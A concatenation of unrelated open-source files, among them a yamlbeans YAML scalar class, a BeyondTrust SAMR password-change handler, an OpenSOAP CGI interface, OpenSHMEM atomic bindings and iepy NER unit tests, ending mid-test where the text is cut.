package com.esotericsoftware.yamlbeans.document; import java.io.IOException; import com.esotericsoftware.yamlbeans.YamlConfig.WriteConfig; import com.esotericsoftware.yamlbeans.emitter.Emitter; import com.esotericsoftware.yamlbeans.emitter.EmitterException; import com.esotericsoftware.yamlbeans.parser.ScalarEvent; public class YamlScalar extends YamlElement { String value; public YamlScalar() { } public YamlScalar(Object value) { this.value = String.valueOf(value); } public String getValue() { return value; } public void setValue(String value) { this.value = value; } @Override public String toString() { StringBuilder sb = new StringBuilder(); if(anchor!=null) { sb.append('&'); sb.append(anchor); sb.append(' '); } sb.append(value); if(tag!=null) { sb.append(" !"); sb.append(tag); } return sb.toString(); } @Override public void emitEvent(Emitter emitter, WriteConfig config) throws EmitterException, IOException { emitter.emit(new ScalarEvent(anchor, tag, new boolean[] {true, true}, value, config.getQuote().getStyle())); } }
410
402
# ------------------------------------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See LICENSE in the repo root for license information. # ------------------------------------------------------------------------------------------ import argparse import logging import os from InnerEyeDataQuality.configs.config_node import ConfigNode from InnerEyeDataQuality.deep_learning.utils import create_logger, get_run_config, load_model_config from InnerEyeDataQuality.deep_learning.trainers.co_teaching_trainer import CoTeachingTrainer from InnerEyeDataQuality.deep_learning.trainers.elr_trainer import ELRTrainer from InnerEyeDataQuality.deep_learning.trainers.vanilla_trainer import VanillaTrainer from InnerEyeDataQuality.utils.generic import set_seed def train(config: ConfigNode) -> None: create_logger(config.train.output_dir) logging.info('Starting training...') if config.train.use_co_teaching and config.train.use_elr: raise ValueError("You asked for co-teaching and ELR at the same time. Please double check your configuration.") if config.train.use_co_teaching: model_trainer_class = CoTeachingTrainer elif config.train.use_elr: model_trainer_class = ELRTrainer # type: ignore else: model_trainer_class = VanillaTrainer # type: ignore model_trainer_class(config).run_training() def train_ensemble(config: ConfigNode, num_runs: int) -> None: for i, _ in enumerate(range(num_runs)): config_run = get_run_config(config, config.train.seed + i) set_seed(config_run.train.seed) os.makedirs(config_run.train.output_dir, exist_ok=True) train(config_run) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Parser for model training.') parser.add_argument('--config', type=str, required=True, help='Path to config file characterising trained CNN model/s') parser.add_argument('--num_runs', type=int, default=1, help='Number of runs (ensemble)') args, unknown_args = parser.parse_known_args() # Load config config = load_model_config(args.config) # Launch training train_ensemble(config, args.num_runs)
737
16,461
// Copyright 2020-present 650 Industries. All rights reserved. #if __has_include(<ABI43_0_0EXFirebaseCore/ABI43_0_0EXFirebaseCore.h>) #import <UIKit/UIKit.h> #import <ABI43_0_0EXFirebaseCore/ABI43_0_0EXFirebaseCore.h> #import <ABI43_0_0EXManifests/ABI43_0_0EXManifestsManifest.h> #import "ABI43_0_0EXConstantsBinding.h" NS_ASSUME_NONNULL_BEGIN @interface ABI43_0_0EXScopedFirebaseCore : ABI43_0_0EXFirebaseCore - (instancetype)initWithScopeKey:(NSString *)scopeKey manifest:(ABI43_0_0EXManifestsManifest *)manifest constantsBinding:(ABI43_0_0EXConstantsBinding *)constantsBinding; @end NS_ASSUME_NONNULL_END #endif
262
372
<gh_stars>100-1000 /* Editor Settings: expandtabs and use 4 spaces for indentation * ex: set softtabstop=4 tabstop=8 expandtab shiftwidth=4: * */ /* * Copyright © BeyondTrust Software 2004 - 2019 * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * BEYONDTRUST MAKES THIS SOFTWARE AVAILABLE UNDER OTHER LICENSING TERMS AS * WELL. IF YOU HAVE ENTERED INTO A SEPARATE LICENSE AGREEMENT WITH * BEYONDTRUST, THEN YOU MAY ELECT TO USE THE SOFTWARE UNDER THE TERMS OF THAT * SOFTWARE LICENSE AGREEMENT INSTEAD OF THE TERMS OF THE APACHE LICENSE, * NOTWITHSTANDING THE ABOVE NOTICE. IF YOU HAVE QUESTIONS, OR WISH TO REQUEST * A COPY OF THE ALTERNATE LICENSING TERMS OFFERED BY BEYONDTRUST, PLEASE CONTACT * BEYONDTRUST AT beyondtrust.com/contact */ /* * Copyright (C) BeyondTrust Software. All rights reserved. * * Module Name: * * samr_changepassworduser2.c * * Abstract: * * Remote Procedure Call (RPC) Server Interface * * SamrSrvChangePasswordUser2 function * * Authors: <NAME> (<EMAIL>) */ #include "includes.h" NTSTATUS SamrSrvChangePasswordUser2( /* [in] */ handle_t hBinding, /* [in] */ UNICODE_STRING *pDomainName, /* [in] */ UNICODE_STRING *pAccountName, /* [in] */ CryptPassword *pNtPasswordBlob, /* [in] */ HashPassword *pNtVerifier, /* [in] */ UINT8 ussLmChange, /* [in] */ CryptPassword *pLmPasswordBlob, /* [in] */ HashPassword *pLmVerifier ) { PCSTR filterFormat = "%s=%Q"; NTSTATUS ntStatus = STATUS_SUCCESS; DWORD dwError = ERROR_SUCCESS; HANDLE hDirectory = NULL; PWSTR pwszBase = NULL; DWORD dwScope = 0; PWSTR pwszFilter = NULL; PDIRECTORY_ENTRY pEntries = NULL; DWORD dwNumEntries = 0; CHAR szAttrSamAccountName[] = DS_ATTR_SAM_ACCOUNT_NAME; WCHAR wszAttrDn[] = DS_ATTR_DISTINGUISHED_NAME; WCHAR wszAttrObjectClass[] = DS_ATTR_OBJECT_CLASS; WCHAR wszAttrSecurityDesc[] = DS_ATTR_SECURITY_DESCRIPTOR; WCHAR wszAttrAccountFlags[] = DS_ATTR_ACCOUNT_FLAGS; WCHAR wszAttrNtHash[] = DS_ATTR_NT_HASH; PWSTR pwszUserName = NULL; PSTR pszUserName = NULL; PWSTR pwszDomainName = NULL; WCHAR wszSystemName[] = { '\\', '\\', 0 }; DWORD dwConnectFlags = SAMR_ACCESS_CONNECT_TO_SERVER; PCONNECT_CONTEXT pConnCtx = NULL; DWORD dwObjectClass = 0; PSECURITY_DESCRIPTOR_ABSOLUTE pSecDesc = NULL; GENERIC_MAPPING GenericMapping = {0}; DWORD dwAccessGranted = 0; POCTET_STRING pOldNtHashBlob = NULL; PWSTR pwszNewPassword = NULL; size_t sNewPasswordLen = 0; OCTET_STRING NewNtHashBlob = {0}; PWSTR pwszAccountDn = NULL; PWSTR wszAttributes[] = { wszAttrObjectClass, wszAttrDn, wszAttrSecurityDesc, wszAttrAccountFlags, wszAttrNtHash, NULL }; BAIL_ON_INVALID_PTR(hBinding); BAIL_ON_INVALID_PTR(pDomainName); BAIL_ON_INVALID_PTR(pAccountName); BAIL_ON_INVALID_PTR(pNtPasswordBlob); BAIL_ON_INVALID_PTR(pNtVerifier); ntStatus = SamrSrvConnect2(hBinding, (PWSTR)wszSystemName, dwConnectFlags, (CONNECT_HANDLE*)&pConnCtx); BAIL_ON_NTSTATUS_ERROR(ntStatus); if (pConnCtx->pUserToken == NULL) { ntStatus = STATUS_ACCESS_DENIED; BAIL_ON_NTSTATUS_ERROR(ntStatus); } hDirectory = pConnCtx->hDirectory; dwError = LwAllocateWc16StringFromUnicodeString( &pwszDomainName, pDomainName); BAIL_ON_LSA_ERROR(dwError); dwError = LwAllocateWc16StringFromUnicodeString( &pwszUserName, pAccountName); BAIL_ON_LSA_ERROR(dwError); dwError = LwWc16sToMbs(pwszUserName, &pszUserName); BAIL_ON_LSA_ERROR(dwError); dwError = DirectoryAllocateWC16StringFilterPrintf( &pwszFilter, filterFormat, szAttrSamAccountName, pszUserName); BAIL_ON_LSA_ERROR(dwError); dwError = DirectorySearch(hDirectory, pwszBase, dwScope, pwszFilter, wszAttributes, FALSE, &pEntries, &dwNumEntries); BAIL_ON_LSA_ERROR(dwError); if (dwNumEntries == 0) { ntStatus = STATUS_NO_SUCH_USER; BAIL_ON_NTSTATUS_ERROR(ntStatus); } dwError = DirectoryGetEntryAttrValueByName( &pEntries[0], wszAttrObjectClass, DIRECTORY_ATTR_TYPE_INTEGER, &dwObjectClass); BAIL_ON_LSA_ERROR(dwError); /* * Check if the account really is a user account */ if (dwObjectClass != DS_OBJECT_CLASS_USER) { ntStatus = STATUS_NO_SUCH_USER; BAIL_ON_NTSTATUS_ERROR(ntStatus); } /* * Access check if requesting user is allowed to change password */ dwError = DirectoryGetEntrySecurityDescriptor( &(pEntries[0]), &pSecDesc); BAIL_ON_LSA_ERROR(dwError); if (!RtlAccessCheck(pSecDesc, pConnCtx->pUserToken, USER_ACCESS_CHANGE_PASSWORD, 0, &GenericMapping, &dwAccessGranted, &ntStatus)) { BAIL_ON_NTSTATUS_ERROR(ntStatus); } /* * Get current NT hash */ dwError = DirectoryGetEntryAttrValueByName( &pEntries[0], wszAttrNtHash, DIRECTORY_ATTR_TYPE_OCTET_STREAM, &pOldNtHashBlob); BAIL_ON_LSA_ERROR(dwError); /* * Decrypt the password */ ntStatus = SamrSrvDecryptPasswordBlob(pConnCtx, pNtPasswordBlob, pOldNtHashBlob->pBytes, pOldNtHashBlob->ulNumBytes, 0, &pwszNewPassword); BAIL_ON_NTSTATUS_ERROR(ntStatus); dwError = LwWc16sLen(pwszNewPassword, &sNewPasswordLen); BAIL_ON_LSA_ERROR(dwError); /* * Calculate new NT hash */ ntStatus = SamrSrvGetNtPasswordHash(pwszNewPassword, &NewNtHashBlob.pBytes, &NewNtHashBlob.ulNumBytes); BAIL_ON_NTSTATUS_ERROR(ntStatus); /* * Verify new NT hash */ ntStatus = SamrSrvVerifyNewNtPasswordHash( NewNtHashBlob.pBytes, NewNtHashBlob.ulNumBytes, pOldNtHashBlob->pBytes, pOldNtHashBlob->ulNumBytes, pNtVerifier); BAIL_ON_NTSTATUS_ERROR(ntStatus); /* * Set the password */ dwError = DirectoryGetEntryAttrValueByName( &pEntries[0], wszAttrDn, DIRECTORY_ATTR_TYPE_UNICODE_STRING, &pwszAccountDn); BAIL_ON_LSA_ERROR(dwError); dwError = DirectorySetPassword(hDirectory, pwszAccountDn, pwszNewPassword); BAIL_ON_LSA_ERROR(dwError); cleanup: SamrSrvClose(hBinding, (PVOID*)&pConnCtx); LW_SAFE_FREE_MEMORY(pwszDomainName); LW_SAFE_FREE_MEMORY(pwszUserName); LW_SAFE_FREE_MEMORY(pszUserName); LW_SAFE_FREE_MEMORY(pwszFilter); DirectoryFreeEntrySecurityDescriptor(&pSecDesc); LW_SECURE_FREE_WSTRING(pwszNewPassword); if (pOldNtHashBlob) { memset(pOldNtHashBlob->pBytes, 0, pOldNtHashBlob->ulNumBytes); } LW_SECURE_FREE_MEMORY(NewNtHashBlob.pBytes, NewNtHashBlob.ulNumBytes); if (pEntries) { DirectoryFreeEntries(pEntries, dwNumEntries); } if (ntStatus == STATUS_SUCCESS && dwError != ERROR_SUCCESS) { ntStatus = LwWin32ErrorToNtStatus(dwError); } return ntStatus; error: goto cleanup; } /* local variables: mode: c c-basic-offset: 4 indent-tabs-mode: nil tab-width: 4 end: */
4,957
1,162
<gh_stars>1000+ package io.digdag.client.api; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.databind.annotation.JsonDeserialize; import java.time.OffsetDateTime; import java.time.ZoneId; import org.immutables.value.Value; @Value.Immutable @JsonDeserialize(as = ImmutableRestWorkflowSessionTime.class) public interface RestWorkflowSessionTime { IdAndName getProject(); String getRevision(); OffsetDateTime getSessionTime(); @JsonProperty("timezone") ZoneId getTimeZone(); static ImmutableRestWorkflowSessionTime.Builder builder() { return ImmutableRestWorkflowSessionTime.builder(); } }
231
372
/* -*- mode: c++; -*- *----------------------------------------------------------------------------- * $RCSfile: soapInterface.cpp,v $ * * See Copyright for the status of this software. * * The OpenSOAP Project * http://opensoap.jp/ *----------------------------------------------------------------------------- */ #include <iostream> #include <string> #include <vector> #include <sys/types.h> #include <unistd.h> #include <libgen.h> #include <fstream> /* Channal Manager library */ #include "ChannelDescriptor.h" #include "MsgDrvChnlSelector.h" /* Common library */ #include "FileIDFunc.h" #include "connection.h" #include "SOAPMessageFunc.h" #include "StringUtil.h" #include "SrvConf.h" #include "DataRetainer.h" #include "ServerCommon.h" #include "AppLogger.h" #include "ProcessInfo.h" #include <OpenSOAP/OpenSOAP.h> #include <OpenSOAP/Service.h> using namespace OpenSOAP; using namespace std; //#define DEBUG #ifdef DEBUG static void PrintEnvelope(OpenSOAPEnvelopePtr env, const char *label, const char *charEnc) { OpenSOAPByteArrayPtr envBuf = NULL; const unsigned char *envBeg = NULL; size_t envSz = 0; OpenSOAPByteArrayCreate(&envBuf); OpenSOAPEnvelopeGetCharEncodingString(env, charEnc, envBuf); OpenSOAPByteArrayGetBeginSizeConst(envBuf, &envBeg, &envSz); fprintf(stderr, "\n=== %s envelope begin ===\n", label); fwrite(envBeg, 1, envSz, stderr); fprintf(stderr, "\n=== %s envelope end ===\n", label); OpenSOAPByteArrayRelease(envBuf); } #endif //DEBUG #include <sys/stat.h> static int ServiceFunc(OpenSOAPEnvelopePtr request, OpenSOAPEnvelopePtr *response, void *opt) { int ret = OPENSOAP_NO_ERROR; OpenSOAPByteArrayPtr envBuf = NULL; const unsigned char *envBeg = NULL; size_t envSz = 0; //server configure SrvConf* srvConf = new SrvConf(); #if 0 //temp. mode_t mk = 0x202; mode_t curmk = umask(mk); //fprintf(stderr, "== curmk=[%x] ==\n", curmk); #endif //message/id converter DataRetainer* dataRetainer = new DataRetainer(srvConf->getSoapMessageSpoolPath()); #ifdef DEBUG AppLogger::Write(APLOG_DEBUG5,"%s=[%s]" ,"SrvConf::getSoapMessageSpoolPath" ,srvConf->getSoapMessageSpoolPath().c_str()); #endif ret = OpenSOAPByteArrayCreate(&envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"Read from CGI:" ,"OpenSOAPByteArrayCreate() failed." ,"ErrorCode",ret); } string charEnc = srvConf->getDefaultCharEncoding(); #ifdef DEBUG PrintEnvelope(request, "Trans I/F request", charEnc.c_str()); #endif //DEBUG ret = OpenSOAPEnvelopeGetCharEncodingString(request, charEnc.c_str(), envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"Read from CGI:" ,"OpenSOAPEnvelopeGetCharEncodingString() failed." ,"ErrorCode",ret); } ret = OpenSOAPByteArrayGetBeginSizeConst(envBuf, &envBeg, &envSz); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"Read from CGI:" ,"OpenSOAPByteArrayGetBeginSizeConst() failed." ,"ErrorCode",ret); } string soapMsgFromClient((const char*)envBeg, envSz); #ifdef DEBUG AppLogger::Write(APLOG_DEBUG5,"%s %s=[%s]" ,"Tran I/F:","from",soapMsgFromClient.c_str()); AppLogger::Write(APLOG_DEBUG5,"%s %s=(%d)" ,"Tran I/F:","envSz",envSz); AppLogger::Write(APLOG_DEBUG5,"%s %s=(%d)" ,"Tran I/F:","length",soapMsgFromClient.length()); #endif ret = OpenSOAPByteArrayRelease(envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"Read from CGI:" ,"OpenSOAPByteArrayRelease() failed." ,"ErrorCode",ret); } //check message size long limitSize = srvConf->getLimitSOAPMessageSize(); if ( limitSize >= 0 && soapMsgFromClient.length() > limitSize) { AppLogger::Write(APLOG_WARN,"%s %s=(%d) %s=(%d)" ,"received soap message size limit over." ,"limit size",limitSize ,"message size",soapMsgFromClient.length()); string retStr(makeLimitSizeOverMessage(limitSize)); #ifdef DEBUG AppLogger::Write(APLOG_DEBUG5,"%s[%s]" ,"FaultMessage::LIMIT OVER:",retStr.c_str()); #endif // convert Envelope -> string ret = OpenSOAPByteArrayCreateWithData((const unsigned char*) retStr.c_str(), retStr.length(), &envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"LimitOverFaultMessage:" ,"OpenSOAPByteArrayCreateWithData() failed." ,"ErrorCode",ret); } #ifdef DEBUG else { AppLogger::Write(APLOG_DEBUG5,"%s %s" ,"LimitOverFaultMessage:" ,"OpenSOAPByteArrayCreateWithData() done."); } #endif //DEBUG ret = OpenSOAPEnvelopeCreateCharEncoding(charEnc.c_str(),//NULL, envBuf, response); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"LimitOverFaultMessage:" ,"OpenSOAPEnvelopeCreateCharEncoding() failed." ,"ErrorCode",ret); } #ifdef DEBUG else { AppLogger::Write(APLOG_DEBUG5,"%s %s" ,"LimitOverFaultMessage:" ,"OpenSOAPEnvelopeCreateCharEncoding() done."); PrintEnvelope(*response, "Trans I/F response", charEnc.c_str()); } #endif //DEBUG ret = OpenSOAPByteArrayRelease(envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"LimitOverFaultMessage:" ,"OpenSOAPByteArrayRelease() failed." ,"ErrorCode",ret); } #ifdef DEBUG else { AppLogger::Write(APLOG_DEBUG5,"%s %s" ,"LimitOverFaultMessage:" ,"OpenSOAPByteArrayRelease() done."); } #endif //DEBUG // send fault message return 0; } //get fileID dataRetainer->Create(); string reqFile = dataRetainer->GetHttpBodyFileName(); AppLogger::Write(APLOG_DEBUG,"%s=[%s]","### reqFile",reqFile.c_str()); ofstream ofst(reqFile.c_str()); ofst << soapMsgFromClient << endl; ofst.close(); //dataRetainer->UpdateSoapEnvelope(soapMsgFromClient); string fileIDOfMsgFromClientMsg; dataRetainer->GetId(fileIDOfMsgFromClientMsg); AppLogger::Write(APLOG_DEBUG,"%s=[%s]" ,"### id",fileIDOfMsgFromClientMsg.c_str()); #ifdef DEBUG_ AppLogger::Write(APLOG_DEBUG5,"%s=[%d]" ,"fileID fromClientToMsgDrv" ,fileIDOfMsgFromClientMsg.c_str()); #endif //clean up soapMsgFromClient = ""; //.clear(); //communication descriptor ChannelDescriptor chnlDesc; ChannelSelector* chnlSelector = new MsgDrvChnlSelector(); if (0 != chnlSelector->open(chnlDesc)) { AppLogger::Write(APLOG_ERROR ,"Trans I/F: channel descriptor open failed."); //2003/11/12 //create fault message and convert to response envelope return EXIT_FAILURE; } // write to MsgDrv if (0 > chnlDesc.write(fileIDOfMsgFromClientMsg)) { AppLogger::Write(APLOG_ERROR,"Trans I/F: write to MsgDrv failed."); //2003/11/12 //create fault message and convert to response envelope return EXIT_FAILURE; } // read from MsgDrv string fileIDOfMsgFromMsgDrv; if (0 > chnlDesc.read(fileIDOfMsgFromMsgDrv)) { AppLogger::Write(APLOG_ERROR,"Trans I/F: read from MsgDrv failed."); //2003/11/12 //create fault message and convert to response envelope return EXIT_FAILURE; } #ifdef DEBUG AppLogger::Write(APLOG_DEBUG5,"%s=[%d]" ,"fileID From MsgDrv",fileIDOfMsgFromMsgDrv.c_str()); #endif //============================== //communication END //============================== //close chnlSelector->close(chnlDesc); delete chnlSelector; DataRetainer responseDr(srvConf->getSoapMessageSpoolPath()); responseDr.SetId(fileIDOfMsgFromMsgDrv); responseDr.Decompose(); string soapMsgFromMsgDrv; responseDr.GetSoapEnvelope(soapMsgFromMsgDrv); #ifdef DEBUG AppLogger::Write(APLOG_DEBUG5,"%s %s=(%d):str[%d]" ,"msg From MsgDrv:" ,"size",soapMsgFromMsgDrv.length() ,"str",soapMsgFromMsgDrv.c_str()); #endif //DEBUG //destory SrvConf delete srvConf; // convert Envelope ret = OpenSOAPByteArrayCreateWithData((const unsigned char*) soapMsgFromMsgDrv.c_str(), soapMsgFromMsgDrv.length(), &envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"Write to CGI:" ,"OpenSOAPByteArrayCreateWithData() done." ,"ErrorCode",ret); } #ifdef DEBUG else { AppLogger::Write(APLOG_DEBUG5,"%s %s" ,"Write to CGI:" ,"OpenSOAPByteArrayCreateWithData() done."); } #endif //DEBUG //ret = OpenSOAPEnvelopeCreateCharEncoding(NULL, ret = OpenSOAPEnvelopeCreateCharEncoding(charEnc.c_str(),//ENC, envBuf, response); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s %s=(%d)" ,"Write to CGI:" ,"OpenSOAPEnvelopeCreateCharEncoding() done." ,"ErrorCode",ret); } #ifdef DEBUG else { AppLogger::Write(APLOG_DEBUG5,"%s %s" ,"Write to CGI:" ,"OpenSOAPEnvelopeCreateCharEncoding() done."); PrintEnvelope(*response, "Trans I/F response", charEnc.c_str()); } #endif //DEBUG ret = OpenSOAPByteArrayRelease(envBuf); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"Write to CGI: OpenSOAPByteArrayRelease() done." ,"ErrorCode",ret); } #ifdef DEBUG else { AppLogger::Write(APLOG_DEBUG5,"%s" ,"Write to CGI: OpenSOAPByteArrayRelease() done."); } #endif //DEBUG //clean up message... //dataRetainer->del(fileIDOfMsgFromClientMsg); dataRetainer->DeleteFiles(); responseDr.DeleteFiles(); delete dataRetainer; return ret; } int main (int argc, char* argv[]) { int ret = OPENSOAP_NO_ERROR; char hoststr[256]; ProcessInfo::SetProcessName(basename(argv[0])); gethostname(hoststr,sizeof(hoststr)); ProcessInfo::SetHostName(hoststr); AppLogger logger(NULL,ProcessInfo::GetProcessName().c_str()); //============================== //communication START //============================== OpenSOAPServicePtr service = NULL; ret = OpenSOAPInitialize(NULL); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"OpenSOAPInitialize failed.","ErrorCode",ret); } ret = OpenSOAPServiceCreateMB(&service, "OpenSOAPServerCGIIF", "cgi", 0); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"OpenSOAPServiceCreateMB failed.","ErrorCode",ret); } ret = OpenSOAPServiceRegisterMB(service, NULL, ServiceFunc, NULL); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"OpenSOAPServiceRegisterMB failed.","ErrorCode",ret); } ret = OpenSOAPServiceRun(service); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"OpenSOAPServiceRun failed.","ErrorCode",ret); } ret = OpenSOAPServiceRelease(service); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"OpenSOAPServiceRelease failed.","ErrorCode",ret); } ret = OpenSOAPUltimate(); if (OPENSOAP_FAILED(ret)) { AppLogger::Write(APLOG_ERROR,"%s %s=(%d)" ,"OpenSOAPUltimate failed.","ErrorCode",ret); } return EXIT_SUCCESS; } // End of soapInterface.cpp
6,761
777
<filename>cc/blimp/picture_data.cc // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "cc/blimp/picture_data.h" namespace cc { PictureData::PictureData(uint32_t unique_id, sk_sp<SkData> data) : unique_id(unique_id), data(data) {} PictureData::PictureData(const PictureData& other) = default; PictureData::~PictureData() = default; } // namespace cc
156
1,585
/* * Copyright (c) 2018 Mellan<NAME>, Inc. * All rights reserved. * $COPYRIGHT$ * * Additional copyrights may follow * * $HEADER$ */ #include "oshmem_config.h" #include "oshmem/constants.h" #include "oshmem/include/shmem.h" #include "oshmem/include/shmemx.h" #include "oshmem/runtime/runtime.h" #include "oshmem/op/op.h" #include "oshmem/mca/atomic/atomic.h" /* * These routines perform an atomic fetch-and-xor operation. * The fetch and xor routines retrieve the value at address target on PE pe, and update * target with the result of 'xor' operation value to the retrieved value. The operation * must be completed without the possibility of another process updating target between * the time of the fetch and the update. */ #if OSHMEM_PROFILING #include "oshmem/include/pshmem.h" #pragma weak shmem_int_atomic_fetch_xor = pshmem_int_atomic_fetch_xor #pragma weak shmem_long_atomic_fetch_xor = pshmem_long_atomic_fetch_xor #pragma weak shmem_longlong_atomic_fetch_xor = pshmem_longlong_atomic_fetch_xor #pragma weak shmem_uint_atomic_fetch_xor = pshmem_uint_atomic_fetch_xor #pragma weak shmem_ulong_atomic_fetch_xor = pshmem_ulong_atomic_fetch_xor #pragma weak shmem_ulonglong_atomic_fetch_xor = pshmem_ulonglong_atomic_fetch_xor #pragma weak shmem_int32_atomic_fetch_xor = pshmem_int32_atomic_fetch_xor #pragma weak shmem_int64_atomic_fetch_xor = pshmem_int64_atomic_fetch_xor #pragma weak shmem_uint32_atomic_fetch_xor = pshmem_uint32_atomic_fetch_xor #pragma weak shmem_uint64_atomic_fetch_xor = pshmem_uint64_atomic_fetch_xor #pragma weak shmem_ctx_int_atomic_fetch_xor = pshmem_ctx_int_atomic_fetch_xor #pragma weak shmem_ctx_long_atomic_fetch_xor = pshmem_ctx_long_atomic_fetch_xor #pragma weak shmem_ctx_longlong_atomic_fetch_xor = pshmem_ctx_longlong_atomic_fetch_xor #pragma weak shmem_ctx_uint_atomic_fetch_xor = pshmem_ctx_uint_atomic_fetch_xor #pragma weak shmem_ctx_ulong_atomic_fetch_xor = pshmem_ctx_ulong_atomic_fetch_xor #pragma weak shmem_ctx_ulonglong_atomic_fetch_xor = pshmem_ctx_ulonglong_atomic_fetch_xor #pragma weak shmem_ctx_int32_atomic_fetch_xor = pshmem_ctx_int32_atomic_fetch_xor #pragma weak shmem_ctx_int64_atomic_fetch_xor = pshmem_ctx_int64_atomic_fetch_xor #pragma weak shmem_ctx_uint32_atomic_fetch_xor = pshmem_ctx_uint32_atomic_fetch_xor #pragma weak shmem_ctx_uint64_atomic_fetch_xor = pshmem_ctx_uint64_atomic_fetch_xor #pragma weak shmemx_int32_atomic_fetch_xor = pshmemx_int32_atomic_fetch_xor #pragma weak shmemx_int64_atomic_fetch_xor = pshmemx_int64_atomic_fetch_xor #pragma weak shmemx_uint32_atomic_fetch_xor = pshmemx_uint32_atomic_fetch_xor #pragma weak shmemx_uint64_atomic_fetch_xor = pshmemx_uint64_atomic_fetch_xor #include "oshmem/shmem/c/profile-defines.h" #endif OSHMEM_TYPE_FOP(int, int, shmem, xor) OSHMEM_TYPE_FOP(long, long, shmem, xor) OSHMEM_TYPE_FOP(longlong, long long, shmem, xor) OSHMEM_TYPE_FOP(uint, unsigned int, shmem, xor) OSHMEM_TYPE_FOP(ulong, unsigned long, shmem, xor) OSHMEM_TYPE_FOP(ulonglong, unsigned long long, shmem, xor) OSHMEM_TYPE_FOP(int32, int32_t, shmem, xor) OSHMEM_TYPE_FOP(int64, int64_t, shmem, xor) OSHMEM_TYPE_FOP(uint32, uint32_t, shmem, xor) OSHMEM_TYPE_FOP(uint64, uint64_t, shmem, xor) OSHMEM_CTX_TYPE_FOP(int, int, shmem, xor) OSHMEM_CTX_TYPE_FOP(long, long, shmem, xor) OSHMEM_CTX_TYPE_FOP(longlong, long long, shmem, xor) OSHMEM_CTX_TYPE_FOP(uint, unsigned int, shmem, xor) OSHMEM_CTX_TYPE_FOP(ulong, unsigned long, shmem, xor) OSHMEM_CTX_TYPE_FOP(ulonglong, unsigned long long, shmem, xor) OSHMEM_CTX_TYPE_FOP(int32, int32_t, shmem, xor) OSHMEM_CTX_TYPE_FOP(int64, int64_t, shmem, xor) OSHMEM_CTX_TYPE_FOP(uint32, uint32_t, shmem, xor) OSHMEM_CTX_TYPE_FOP(uint64, uint64_t, shmem, xor) OSHMEM_TYPE_FOP(int32, int32_t, shmemx, xor) OSHMEM_TYPE_FOP(int64, int64_t, shmemx, xor) OSHMEM_TYPE_FOP(uint32, uint32_t, shmemx, xor) OSHMEM_TYPE_FOP(uint64, uint64_t, shmemx, xor)
1,801
813
<gh_stars>100-1000 from iepy.preprocess.ner.base import FoundEntity from .factories import SentencedIEDocFactory, GazetteItemFactory from .manager_case import ManagerTestCase class TestDocumentInvariants(ManagerTestCase): def test_cant_set_different_number_of_synparse_than_sentences(self): doc = SentencedIEDocFactory() sents = list(doc.get_sentences()) fake_syn_parse_items = [ '<fake parse tree %i>' % i for i in range(len(sents) + 1)] with self.assertRaises(ValueError): doc.set_syntactic_parsing_result(fake_syn_parse_items) class TestSetNERResults(ManagerTestCase): def _f_eo(self, key='something', kind_name='ABC', alias='The dog', offset=0, offset_end=2, from_gazette=False): # constructs and returns a simple FoundEntity with the args given return FoundEntity(key=key, kind_name=kind_name, alias=alias, offset=offset, offset_end=offset_end, from_gazette=from_gazette) def setUp(self): self.doc = SentencedIEDocFactory(text="The dog is dead. Long live the dog.") def test_simple(self): f_eo = self._f_eo() self.doc.set_ner_result([f_eo]) self.assertEqual(self.doc.entity_occurrences.count(), 1) eo = self.doc.entity_occurrences.first() self.assertEqual(eo.entity.key, f_eo.key) self.assertEqual(eo.entity.kind.name, f_eo.kind_name) self.assertEqual(eo.entity.gazette, None) self.assertEqual(eo.offset, f_eo.offset) self.assertEqual(eo.offset_end, f_eo.offset_end) self.assertEqual(eo.alias, f_eo.alias) def test_offsets_are_checked(self): f_eo = self._f_eo(offset=-1) # negative offset self.assertRaises(ValueError, self.doc.set_ner_result, [f_eo]) f_eo = self._f_eo(offset=2, offset_end=2) # end lte start self.assertRaises(ValueError, self.doc.set_ner_result, [f_eo]) f_eo = self._f_eo(offset=2, offset_end=1) # end lte start self.assertRaises(ValueError, self.doc.set_ner_result, [f_eo]) doc_tkns = len(self.doc.tokens) f_eo = self._f_eo(offset=doc_tkns + 1, offset_end=doc_tkns + 3) # bigger than doc tokens self.assertRaises(ValueError, self.doc.set_ner_result, [f_eo]) def test_if_from_gazette_is_enabled_gazetteitem_is_set(self): f_eo = 